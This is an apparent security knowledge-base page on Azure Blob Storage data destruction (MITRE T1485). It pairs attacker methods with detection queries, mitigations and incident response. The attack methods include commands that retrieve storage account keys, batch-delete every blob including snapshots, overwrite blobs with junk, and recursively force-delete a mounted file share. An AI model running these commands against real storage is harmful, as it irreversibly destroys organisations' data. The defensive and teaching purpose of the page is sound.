MCADDF

[IMPACT-DATA-DESTROY-001]: Data Destruction via Blob Storage

1. METADATA HEADER

Metadata

| Attribute | Details | |—|—| | Technique ID | IMPACT-DATA-DESTROY-001 | | Technique Name | Data Destruction via Blob Storage | | MITRE ATT&CK v18.1 | Data Destruction (T1485) – https://attack.mitre.org/techniques/T1485/ | | Tactic | Impact | | Platforms | Azure Storage (Blob, File), Entra ID, Azure Resource Manager | | Environment | Entra ID / Azure Storage Accounts | | Severity | Critical | | CVE | N/A (abuse of legitimate APIs; may coexist with specific CVEs in access path) | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | All Azure Storage account types (GPv1, GPv2, BlobStorage), across all public regions | | Patched In | N/A – mitigated via soft delete, versioning, immutable storage, RBAC and network controls, but core delete operations remain by design.[34][37][43] | | Author | SERVTEPArtur Pchelnikau |


2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description (Failure Mode)
CIS Azure Foundations CIS AZURE 3.6, 4.4 Lack of diagnostics/metrics and missing soft delete/versioning on storage accounts leads to undetected and unrecoverable blob deletions.
DISA STIG Azure Storage STIG (logging, backup) Non‑compliance with logging and backup STIGs for mission‑critical cloud storage.
CISA SCuBA Data Protection, Logging Failure to enable immutable storage, soft delete, and comprehensive logging for SaaS/PaaS data stores.
NIST SP 800‑53 Rev.5 CP-9, CP-10, SI-12, AU-12 Weak backup and recovery for cloud data, insufficient audit logging for storage operations, and lack of integrity protections.[39]
GDPR Art. 5(1)(f), 32 Inability to ensure integrity and availability of personal data stored in Azure, leading to possible supervisory sanctions.
DORA Art. 11 Inadequate data backup and recovery for critical financial services relying on cloud storage.
NIS2 Art. 21 Non‑implementation of measures to ensure system and network resilience and maintain operations in case of incidents.
ISO 27001:2022 A.8.13, A.5.30 Missing protection of information in cloud services and lack of secure backup.
ISO 27005 Risk Scenario: “Cloud object storage mass deletion” High‑impact scenario involving loss of long‑term records and backups in cloud object stores.

3. TECHNICAL PREREQUISITES

Supported Versions:


4. ENVIRONMENTAL RECONNAISSANCE

Azure CLI – Enumerate Storage Accounts and Protection Settings

az storage account list -o table

What to Look For:

az storage account show --name <storageAccount> --resource-group <RG> \
  --query "{name:name, kind:kind, enableBlobVersioning:blobServices.defaultServiceVersion, 
           deleteRetentionPolicy:blobServices.deleteRetentionPolicy.enabled}"

What to Look For:

Log Reconnaissance – Identify Prior Suspicious Deletes

StorageBlobLogs
| where TimeGenerated > ago(7d)
| where OperationName == "DeleteBlob" and StatusText == "Success"
| summarize Deleted = count() by AccountName, CallerIpAddress, UserAgentHeader
| order by Deleted desc

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1 – Mass Deletion via Azure CLI Using Access Keys

Supported Versions: All Azure Storage account types.

Step 1: Obtain Storage Account Keys

Objective: Use elevated role to retrieve access keys, bypassing Entra ID attribution.

az storage account keys list -g <RG_NAME> -n <STORAGE_ACCOUNT>

Expected Output:

Step 2: Delete All Blobs in Target Containers

Objective: Use keys to authenticate and delete blobs programmatically.

ACCOUNT=<STORAGE_ACCOUNT>
KEY=<PRIMARY_KEY>
CONTAINER=<CONTAINER_NAME>

az storage blob delete-batch \
  --account-name $ACCOUNT \
  --account-key $KEY \
  --source $CONTAINER \
  --delete-snapshots include

Expected Output:

OpSec & Evasion:

References & Proofs:

METHOD 2 – Overwriting Blobs with Junk Data

Objective: Render data unrecoverable even when some retention settings exist.

az storage blob upload-batch \
  --account-name $ACCOUNT \
  --account-key $KEY \
  --source ./junk-data-folder \
  --destination $CONTAINER \
  --overwrite true

Attackers may upload random data to overwrite existing blob content, then delete prior versions if not protected by immutability.[36]

METHOD 3 – Destruction via Mounted Azure Files

When Azure Files shares are mounted to VMs/on‑prem servers, adversaries can use OS delete operations (e.g., del, rm) against UNC paths or mapped drives – still recorded in StorageFileLogs.

Remove-Item \\storageaccount.file.core.windows.net\share\* -Recurse -Force

6. ATTACK SIMULATION & VERIFICATION (Atomic Red Team)

While Atomic Red Team T1485 primarily targets local disks and GCP buckets, similar patterns can be adapted for Azure storage operations.[64][70][67]

Example Windows test (SDelete) to validate general T1485 detections:

Invoke-AtomicTest T1485 -TestNumbers 1

Cleanup:

Invoke-AtomicTest T1485 -TestNumbers 1 -Cleanup

Reference: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1485/T1485.md


7. TOOLS & COMMANDS REFERENCE

Azure Storage Explorer / Portal

GUI tools make it easy to perform bulk deletions; defenders should monitor their usage for privileged accounts.

Azure CLI / Az PowerShell

Ensure Role‑Based Access Control and conditional access around their use.


8. SPLUNK DETECTION RULES

Rule 1: Azure Storage Mass File Deletion (Blob & File)

Reference: Azure Sentinel query Azure Storage Mass File Deletion shows the core pattern.[35]

SPL (adapted):

index=azure sourcetype="azure:storage:blob" OR sourcetype="azure:storage:file"
| where StatusText="Success" AND (OperationName="DeleteBlob" OR OperationName="DeleteFile")
| eval IP=split(CallerIpAddress, ":")[0]
| bin _time span=10m
| stats dc(Uri) as FilesDeleted by _time, IP, UserAgentHeader, AccountName
| where FilesDeleted >= 100

What This Detects:


9. MICROSOFT SENTINEL DETECTION

Query 1: Azure Storage Mass File Deletion (Official Analytic)

Reference: AzureStorageMassDeletion.yaml analytic rule for T1485.[35][38]

KQL (core pattern):

let deleteThreshold = 100;
let deleteWindow = 10m;
union StorageFileLogs, StorageBlobLogs
| where StatusText == "Success"
| where OperationName in ("DeleteBlob","DeleteFile")
| extend CallerIpAddress = tostring(split(CallerIpAddress, ":", 0)[0])
| summarize dcount(Uri) by bin(TimeGenerated, deleteWindow), CallerIpAddress, UserAgentHeader, AccountName
| where dcount_Uri >= deleteThreshold

Use this as a scheduled analytics rule with High severity.


10. WINDOWS EVENT LOG MONITORING

Not applicable – impact occurs on Azure Storage control plane. Monitoring relies on Azure logs, not local OS events.


11. SYSMON DETECTION PATTERNS

Not applicable for direct blob deletion via APIs. Sysmon becomes relevant only when destruction is performed from endpoints against mounted Azure Files shares; in that case, treat it as generic T1485 on the endpoint.


12. MICROSOFT DEFENDER FOR CLOUD

Manual steps: Azure Portal → Microsoft Defender for Cloud → Environment settings → Subscription → Defender plans → Defender for Storage: ON.


13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

For M365 workloads that sync to Azure Storage or use similar patterns (Dataverse, SharePoint, OneDrive), Purview provides audit signals for mass deletes or suspicious bulk operations.[20][38]

Example Purview search pattern:

Search-UnifiedAuditLog -Operations FileDeleted -StartDate (Get-Date).AddDays(-1) -ResultSize 5000

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Action 1: Enable Blob Versioning and Soft Delete Everywhere

Manual Steps (Portal):

  1. Storage Account → Data protection.
  2. Enable Blob soft delete, Container soft delete, and Blob versioning.
  3. Configure retention (e.g., ≥30 days, preferably ≥90 for critical data).

Action 2: Use Immutable Storage (WORM) for Critical Data

Action 3: Minimize and Monitor Access Keys & SAS

Priority 2: HIGH

Action: Centralize Logging and Create Mass Deletion Alerts


15. DETECTION & INCIDENT RESPONSE

IOCs

Forensic Artifacts

Response Procedures

  1. Contain:
    • Revoke compromised access keys; regenerate both primary and secondary keys.
    • Disable or rotate suspicious SAS tokens.
  2. Investigate:
    • Use Sentinel queries to identify scope of deletion, affected containers, and caller identity/IP.[35][44]
  3. Recover:
    • Restore blobs from versions or soft‑deleted state.
    • For immutable containers, use retention policies to restore to last known good state.[34][37]

Step Phase Technique Description
1 Initial Access IA-VALID-001 Compromise of cloud admin / storage operator account or CI/CD credentials.
2 Privilege Escalation PE-VALID-010 Elevation to Storage Account Contributor / Owner or obtaining storage keys via Key Vault abuse.
3 Current Step [IMPACT-DATA-DESTROY-001] Data Destruction via Blob Storage Mass deletion and overwriting of blobs and files in Azure Storage.
4 Impact T1486, T1490 Parallel encryption and inhibition of recovery in linked workloads and backups.

17. REAL-WORLD EXAMPLES

Example 1: BlackCat/ALPHV Encrypting Azure Storage

Example 2: Cloud Mass Deletion as Data Destruction